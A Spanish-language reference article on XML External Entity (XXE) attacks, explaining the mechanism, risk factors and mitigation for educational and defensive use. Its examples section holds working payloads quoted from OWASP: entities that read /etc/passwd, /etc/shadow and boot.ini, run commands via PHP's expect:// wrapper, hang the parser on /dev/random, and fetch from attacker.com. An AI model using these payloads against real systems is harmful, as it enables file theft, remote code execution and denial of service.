Articulo de referencia

Ataque de entidad externa XML

El ataque de entidad externa XML , o simplemente ataque XXE , es un tipo de ataque contra una aplicación que analiza datos XML . Este ataque se produce cuando un analizador XML ...

El ataque de entidad externa XML , o simplemente ataque XXE , es un tipo de ataque contra una aplicación que analiza datos XML . Este ataque se produce cuando un analizador XML mal configurado procesa datos XML que contienen una referencia a una entidad externa. Este ataque puede provocar la divulgación de datos confidenciales, ataques de denegación de servicio (DoS) , falsificación de solicitudes del lado del servidor , escaneo de puertos desde la máquina donde se encuentra el analizador y otros impactos en el sistema. [ 1 ]

Descripción

El estándar XML 1.0 define la estructura de un documento XML. Este estándar define el concepto de entidad , que se refiere a varios tipos de unidades de datos. Uno de estos tipos es una entidad externa analizada mediante parámetros (general/parámetro), a menudo abreviada como entidad externa, que puede acceder a contenido local o remoto a través de un identificador de sistema declarado . Se asume que el identificador de sistema es una URI a la que el procesador XML puede acceder al procesar la entidad. El procesador XML reemplaza entonces las ocurrencias de la entidad externa nombrada con el contenido al que hace referencia el identificador de sistema. Si el identificador de sistema contiene datos contaminados y el procesador XML desreferencia estos datos, podría revelar información confidencial normalmente inaccesible para la aplicación. Vectores de ataque similares utilizan DTD externas , hojas de estilo externas, esquemas externos , etc., que, al incluirse, permiten ataques similares de inclusión de recursos externos.

Los ataques pueden incluir la divulgación de archivos locales, que pueden contener datos confidenciales como contraseñas o datos privados de usuario, mediante file://esquemas o rutas relativas en el identificador del sistema. Dado que el ataque se produce en relación con la aplicación que procesa el documento XML, un atacante puede usar esta aplicación de confianza para acceder a otros sistemas internos, posiblemente divulgando otro contenido interno a través de solicitudes HTTP o lanzando un ataque SSRF a cualquier servicio interno desprotegido. En algunas situaciones, una biblioteca de procesamiento XML vulnerable a problemas de corrupción de memoria del lado del cliente puede ser explotada mediante la desreferenciación de una URI maliciosa , lo que podría permitir la ejecución de código arbitrario bajo la cuenta de la aplicación . Otros ataques pueden acceder a recursos locales que pueden no dejar de devolver datos, lo que podría afectar la disponibilidad de la aplicación si no se liberan demasiados subprocesos o procesos.

La aplicación no necesita devolver explícitamente la respuesta al atacante para ser vulnerable a la divulgación de información. Un atacante puede aprovechar la información DNS para extraer datos a través de nombres de subdominios a un servidor DNS bajo su control. [ 2 ]

Factores de riesgo

  • La aplicación analiza documentos XML.
  • Se permiten datos contaminados dentro de la parte del identificador del sistema de la entidad, dentro de la definición del tipo de documento (DTD).
  • El procesador XML está configurado para validar y procesar el DTD.
  • El procesador XML está configurado para resolver entidades externas dentro del DTD.

Ejemplos

Los ejemplos que aparecen a continuación provienen de la prueba de inyección XML de OWASP (WSTG-INPV-07) . [ 3 ]

Acceder a un recurso local que puede no regresar

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" > ]> <foo> &xxe; </foo>

Ejecución remota de código

Cuando se carga el módulo "expect" de PHP , es posible la ejecución remota de código con una carga útil modificada.

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" > ]> <creds> <user> &xxe; </user> <pass> mypass </pass> </creds>

Revelar el archivo /etc/passwd u otros archivos específicos.

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" > ]> <foo> &xxe; </foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [  <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" > ]> <foo> &xxe; </foo>

Mitigación

Dado que el documento XML completo se comunica desde un cliente no confiable, normalmente no es posible validar selectivamente ni filtrar datos contaminados dentro del identificador del sistema en la DTD. El procesador XML podría configurarse para usar una DTD estática local y no permitir ninguna DTD declarada incluida en el documento XML.

Véase también

Referencias

  1. "¿Qué son los ataques de entidades externas XML (XXE)?" . Acunetix . Consultado el 13 de noviembre de 2023 .
  2. "Guía de pruebas OWASP v3" (PDF) . Proyecto de seguridad de aplicaciones web abiertas . 2008. Consultado el 13 de noviembre de 2023 .
  3. "Pruebas de inyección XML (WSTG-INPV-07), Guía de pruebas de seguridad web v4.2" . OWASP . 3 de diciembre de 2020. Archivado del original el 20 de abril de 2021. Consultado el 16 de marzo de 2023 .
  • Guía rápida de prevención de entidades externas XML (XXE) de OWASP
  • Artículo de Timothy Morgan de 2014: Esquema XML, DTD y ataques a entidades: un compendio de técnicas conocidas.
  • Presentación preliminar del artículo mencionado anteriormente, en OWASP AppSec USA 2013.
  • CWE-611: Exposición de información a través de referencias de entidades externas XML
  • CWE-827: Control inadecuado de la definición del tipo de documento
  • Presentación de Sascha Herzog sobre ataques de entidades externas XML en OWASP AppSec Alemania 2010
  • Vulnerabilidad XXE de PostgreSQL
  • Vulnerabilidades XXE de SharePoint y DotNetNuke, en francés
  • Ataques y defensas contra ataques de denegación de servicio XML (en .NET)
  • Artículo antiguo (2002) de BugTraq sobre XXE archivado el 2 de septiembre de 2019 en Wayback Machine.
  • XML 1.0 Lenguaje de marcado extensible (XML) 1.0 (Quinta edición)